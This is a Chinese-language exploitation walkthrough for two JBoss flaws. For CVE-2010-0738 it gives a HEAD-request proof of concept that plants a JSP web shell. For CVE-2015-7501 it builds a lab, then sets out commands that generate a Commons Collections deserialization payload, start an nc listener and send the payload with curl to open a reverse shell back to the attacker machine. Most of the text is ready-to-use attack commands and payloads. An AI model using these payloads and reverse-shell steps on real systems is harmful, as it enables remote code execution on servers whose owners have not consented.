文章目录
- CVE-2010-0738
- 漏洞简介
- 影响版本
- 漏洞利用
- POC
- CVE-2015-7501
- 漏洞简介
- 漏洞环境
- 漏洞搭建
- 漏洞发现
- 漏洞利用
JMX Console安全验证绕过
CVE-2010-0738
漏洞简介
利用原理与CVE-2007-1036相同,只不过利用HEAD请求方法绕过GET和POST请求的限制
影响版本
jboss4.2.0-jboss4.3.0
漏洞利用
POC
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
CVE-2015-7501
JMXInvokerServlet 反序列化漏洞
漏洞简介
CVE-2015-7501, JBoss 在
/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码
Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化, JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,从而导致了漏洞。
漏洞环境
kali(攻击机):192.168.88.128
kali(靶机):192.168.88.130
漏洞搭建
docker search testjboss
docker pull testjboss/jboss
docker run -p 8085:8080 -d testjboss/jboss
访问 http://192.168.88.130:8085/ 如下搭建成功
漏洞发现
访问 http://ip:port/invoker/JMXInvokerServlet ,返回如下的 response ,说明接口是开放的,
此接口存在漏洞
漏洞利用
进入kali攻击机,下载反序列化工具
下载地址:https://github.com/ianxtianxt/CVE-2015-7501/
下载完成,解压进入工具目录
执行命令
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
继续执行下条命令
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.88.128:9999(IP是攻击机ip,9999是要监听的端口)
新界面开启nc准备接收反弹过来的shell。命令:nc -lvnp 9999
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了,执行命令:
curl http://192.168.88.130:8085/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
执行完这条命令,返回监听窗口,即可得到shell